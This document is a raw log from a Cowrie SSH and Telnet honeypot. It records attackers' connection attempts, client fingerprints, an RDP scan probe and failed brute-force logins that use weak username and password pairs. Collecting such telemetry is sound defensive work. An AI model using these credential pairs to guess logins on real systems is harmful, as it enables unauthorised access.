{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:23.093426Z","src_ip":"192.109.200.237","session":"70534fb0fdc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:24.184700Z","src_ip":"192.109.200.237","session":"70534fb0fdc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:24.198383Z","src_ip":"103.122.221.179","session":"02819cc5a2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:24.528552Z","src_ip":"31.59.44.31","session":"3491f32f98d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58516,"dst_ip":"159.203.135.109","dst_port":22,"session":"521ce855ff1b","protocol":"ssh","message":"New connection: 192.109.200.237:58516 (159.203.135.109:22) [session: 521ce855ff1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:26.176561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:26.182313Z","src_ip":"192.109.200.237","session":"521ce855ff1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:26.266284Z","src_ip":"192.109.200.237","session":"521ce855ff1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:26.516664Z","src_ip":"192.109.200.237","session":"521ce855ff1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55731,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e40459c2dc","protocol":"ssh","message":"New connection: 152.42.212.128:55731 (10.17.0.5:22) [session: 41e40459c2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:27.292821Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:27.298327Z","src_ip":"152.42.212.128","session":"41e40459c2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:27.304817Z","src_ip":"152.42.212.128","session":"41e40459c2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:27.601372Z","src_ip":"192.109.200.237","session":"521ce855ff1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42580,"dst_ip":"10.17.0.5","dst_port":23,"session":"929e50bba928","protocol":"telnet","message":"New connection: 152.42.224.71:42580 (10.17.0.5:23) [session: 929e50bba928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:27.670824Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58528,"dst_ip":"159.203.135.109","dst_port":22,"session":"8431256716e2","protocol":"ssh","message":"New connection: 192.109.200.237:58528 (159.203.135.109:22) [session: 8431256716e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:29.519370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:29.525123Z","src_ip":"192.109.200.237","session":"8431256716e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:29.607203Z","src_ip":"192.109.200.237","session":"8431256716e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:29.852845Z","src_ip":"192.109.200.237","session":"8431256716e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:30.943274Z","src_ip":"192.109.200.237","session":"8431256716e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42586,"dst_ip":"10.17.0.5","dst_port":23,"session":"056d3b35a902","protocol":"telnet","message":"New connection: 152.42.224.71:42586 (10.17.0.5:23) [session: 056d3b35a902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:31.789682Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57732,"dst_ip":"159.203.135.109","dst_port":22,"session":"766bb72aa645","protocol":"ssh","message":"New connection: 192.109.200.237:57732 (159.203.135.109:22) [session: 766bb72aa645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:32.764925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:32.770394Z","src_ip":"192.109.200.237","session":"766bb72aa645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:32.852746Z","src_ip":"192.109.200.237","session":"766bb72aa645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:33.239275Z","src_ip":"192.109.200.237","session":"766bb72aa645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:34.324619Z","src_ip":"192.109.200.237","session":"766bb72aa645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":44412,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3f921b1a680","protocol":"telnet","message":"New connection: 46.60.48.98:44412 (159.203.135.109:23) [session: c3f921b1a680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:34.960209Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57738,"dst_ip":"159.203.135.109","dst_port":22,"session":"44fb458f98ef","protocol":"ssh","message":"New connection: 192.109.200.237:57738 (159.203.135.109:22) [session: 44fb458f98ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:36.170318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:36.174953Z","src_ip":"192.109.200.237","session":"44fb458f98ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:36.260905Z","src_ip":"192.109.200.237","session":"44fb458f98ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:36.507133Z","src_ip":"192.109.200.237","session":"44fb458f98ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38252,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b25669a1237","protocol":"telnet","message":"New connection: 152.42.224.71:38252 (10.17.0.5:23) [session: 1b25669a1237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:36.572029Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:37.657903Z","src_ip":"192.109.200.237","session":"44fb458f98ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57750,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c2b29718048","protocol":"ssh","message":"New connection: 192.109.200.237:57750 (159.203.135.109:22) [session: 3c2b29718048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:39.533058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:39.538094Z","src_ip":"192.109.200.237","session":"3c2b29718048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:39.620613Z","src_ip":"192.109.200.237","session":"3c2b29718048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:39.869386Z","src_ip":"192.109.200.237","session":"3c2b29718048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:40.955086Z","src_ip":"192.109.200.237","session":"3c2b29718048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47976,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b6e1000348","protocol":"ssh","message":"New connection: 192.109.200.237:47976 (159.203.135.109:22) [session: 67b6e1000348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:42.882966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:42.891519Z","src_ip":"192.109.200.237","session":"67b6e1000348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:42.973879Z","src_ip":"192.109.200.237","session":"67b6e1000348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:43.220813Z","src_ip":"192.109.200.237","session":"67b6e1000348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:44.306637Z","src_ip":"192.109.200.237","session":"67b6e1000348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":45120,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aaa5032bedf","protocol":"ssh","message":"New connection: 37.233.85.71:45120 (159.203.135.109:22) [session: 6aaa5032bedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:45.577406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:45.583110Z","src_ip":"37.233.85.71","session":"6aaa5032bedf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:45.688784Z","src_ip":"37.233.85.71","session":"6aaa5032bedf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cookie","message":"login attempt [root/cookie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.004619Z","src_ip":"37.233.85.71","session":"6aaa5032bedf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47978,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ec1d67a6638","protocol":"ssh","message":"New connection: 192.109.200.237:47978 (159.203.135.109:22) [session: 1ec1d67a6638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.024528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.034538Z","src_ip":"192.109.200.237","session":"1ec1d67a6638","protocol":"ssh"}
